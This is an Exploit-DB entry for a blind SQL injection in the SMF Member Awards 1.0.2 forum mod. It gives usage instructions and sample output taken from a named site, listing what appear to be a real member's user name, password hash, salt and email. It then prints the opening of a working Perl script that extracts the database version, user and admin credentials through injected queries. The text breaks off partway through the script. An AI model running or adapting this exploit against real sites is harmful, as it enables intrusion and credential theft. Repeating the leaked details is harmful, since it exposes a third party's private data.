Exploit-DB #9050
Description: SMF Mod Member Awards 1.0.2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-30
Author: eLwaux

Exploit:
-------------------------------------------------------------------------
 SMF Component Member Awards Blind SQL-injection Vulnerability
-------------------------------------------------------------------------
 author: eLwaux
 thanks: mailbrush, antichat.ru, uasc.org.ua
-------------------------------------------------------------------------
 usage:
     expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}
     params:
        -v = get version()
        -u = get user()
        -d = get database() 
        -an = get User Name  (Ð»Ð¾Ð³Ð¸Ð½)
        -ap = get User Password (sha1 Ñ…ÐµÑˆ)
        -as = get User Salt (ÑÐ°Ð»ÑŒÑ‚)
        -am = get User Mail (ÐµÐ¼ÐµÐ¹Ð»)
-------------------------------------------------------------------------
 (
    also you can modif script source:
        $SHOW_ALL = 1; == show brute-step result
        $SHOW_COUNT_REQ = 1 == show req's count
        $OPTIMAL = 1 == optimal brute
 )
-------------------------------------------------------------------------
example:
    http://scrubs.net.ru/cms/forum/index.php

    ] Host: scrubs.net.ru
      BAD answer = 'ÐžÑˆÐ¸Ð±ÐºÐ°'
    ] version() = 5
    ] user() = us5729a@localhost
    ] database() = db
    ] id=1 NAME = zhbanito
    ] id=1 PASS = 4edd40635ac6fd263084d5ccc6fdc624fef3c932
    ] id=1 SALT = fe81
    ] id=1 MAIL = shpioner@mail.ru
-------------------------------------------------------------------------
 exploit (perl):
 
    #! /usr/bin/perl -w

    use IO::Socket;
    use warnings;
    #use threads;
    #use threads::shared;

    $SHOW_ALL = 1;
    $SHOW_COUNT_REQ = 1;
    $OPTIMAL = 1;

    print "  SMF ] MemberAwards 1.0.2 exploit\n";
    print "  eLwaux(c)antichat 2009\n\n";

    if (!$ARGV[0]) {
        print "  usage:\n".
              "     expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}\n".
              "     params:\n".
              "        -v = get version()\n".
              "        -u = get user()\n".
              "        -d = get database()\n".
              "        -an = get User Name\n".
              "        -ap = get User Password\n".
              "        -as = get User Salt\n".
              "        -am = get User Mail\n";
        exit(0);
    }

    my $Uid = (!$ARGV[1])?'1':$ARGV[1];
    my $pref = (!$ARGV[2])?'smf_':$ARGV[2];
    $link .= $ARGV[0].'?action=profile;sa=awardsMembers;u='.$Uid.';id={SQL}';

    $getV = $getU = $getD = $getAN = $getAP = $getAS = $getAM = 0;
    for (my $i=0;$i<$#ARGV+1;$i++) {
         my $q = $ARGV[$i];
         $getV = 1 if ($q eq '-v');
         $getU = 1 if ($q eq '-u');
         $getD = 1 if ($q eq '-d');
         $getAN = 1 if ($q eq '-an');
         $getAP = 1 if ($q eq '-ap');
         $getAS = 1 if ($q eq '-as');
         $getAM = 1 if ($q eq '-am');
    }

    if ($link =~ /[http:\/\/]{0,}(.+?)\/.+?{SQL}/) {
        $host = $1;
    }

    print ' ] Host: '.$host."\n";
    $BAD = &getBadAnswer();
    
    my $SFrom = 0;
    $SFrom = 41 if ($OPTIMAL == 1);
    my $SEnd = 0;
    $SEnd = 122 if ($OPTIMAL == 1);
    
    print "   BAD answer = '$BAD'\n\n";
    print ' ] version() = '.&getVersion(3,5)."\n" if ($getV==1);
    print ' ] user() = '.&getUser1($SFrom,$SEnd)."\n" if ($getU==1); # a..z
    print ' ] database() = '.&getDatabase($SFrom,$SEnd)."\n" if ($getD==1); # a..z
    print "\n";

    print ' ] id='.$Uid.' NAME = '.&getAdminName($SFrom,$SEnd)."\n" if ($getAN==1); # 0..9,a..z
    print ' ] id='.$Uid.' PASS = '.&getAdminPass($SFrom,$SEnd)."\n" if ($getAP==1); # 0..9,a..z
    print ' ] id='.$Uid.' SALT = '.&getAdminSalt($SFrom,$SEnd)."\n" if ($getAS==1); # a..z
    print ' ] id='.$Uid.' MAIL = '.&getAdminMail($SFrom,$SEnd)."\n" if ($getAM==1); # a..z

    #print "\n";
    print ' ] requests() = '.$SHOW_COUNT_REQ."\n"; # a..z

    exit(0);



    # get BAD answer
    sub getBadAnswer() {
         $BAD = "An Error Has Occurred!";
         if (&req('1+and+substring(version(),1,1)=-1##+',1000) =~ /<meta name="description" content="(.+?)" .>/) {
             $BAD = $1;
         }
         return $BAD;
    }

    # GET VERSION() METHOD 1 -==--=--=-=-=-=-=-=-=-=-=-==-=--=
    # ascii(lower(substring(version(),x,1) WHERE IN (1,...,Y)
    sub getVersion($$) {
         for($i=$_[0]; $i<=$_[1]; $i++) {
            $r = &req('1+and+substring(version(),1,1)='.$i.'##+',1000);
             if ($r =~ /<meta name="description" content="(.+?)" .>/) {
                 if (index($1,$BAD)==-1) {
                     $SHOW_COUNT_REQ++ if ($SHOW_COUNT_REQ!=0);
                     return $i;
                 }
             }
         }
         return '<'.$_[0].' and >'.$_[1];
    }

    # GET USER() METHOD 1 -==--=--=-=-=-=-=-=-=-=-=-==-=--=
    # ascii(lower(substring(user(),x,1) WHERE IN (1,...,Y)
    sub getUser1($$) {
         return &wherein($_[0],$_[1],'user()',0);
    }

    # GET DATABASE -==--=-==--=---=-==-=-=-=-=-=-=-=-=-==-=--=
    # ascii(lower(substring(database(),x,1) WHERE IN (1,...,Y)
    sub getDatabase($$) {
         return &wherein($_[0],$_[1],'database()',0);
    }

    # GET USER METHOD 2 -==--=--=-=-=-=-=-=
    # ascii(lower(substring(user(),1,1)))=Y
    sub getUser2($$) {
         $finish = 0; $s = 1;
         $user = '';
         while ($finish!=1) {
             $gs = 0;
             print "   user($s): \n" if ($SHOW_ALL==1);
             for($i=$_[0]; $i<=$_[1]; $i++) {
                 if (&req('1+and+ascii(lower(substring(user(),'.$s.',1)))='.$i.'##+',1000) =~ /<meta name="description" content="(.+?)" .>/) {
                     print "      (".chr($i).") $i,\n" if ($SHOW_ALL==1);
                     if (index($1,$BAD)==-1) {
                         $user .= chr($i);
                         print "   found $s chars: $i = ".chr($i)." ($user)\n" if ($SHOW_ALL==1);
                         $s++; $gs = 1;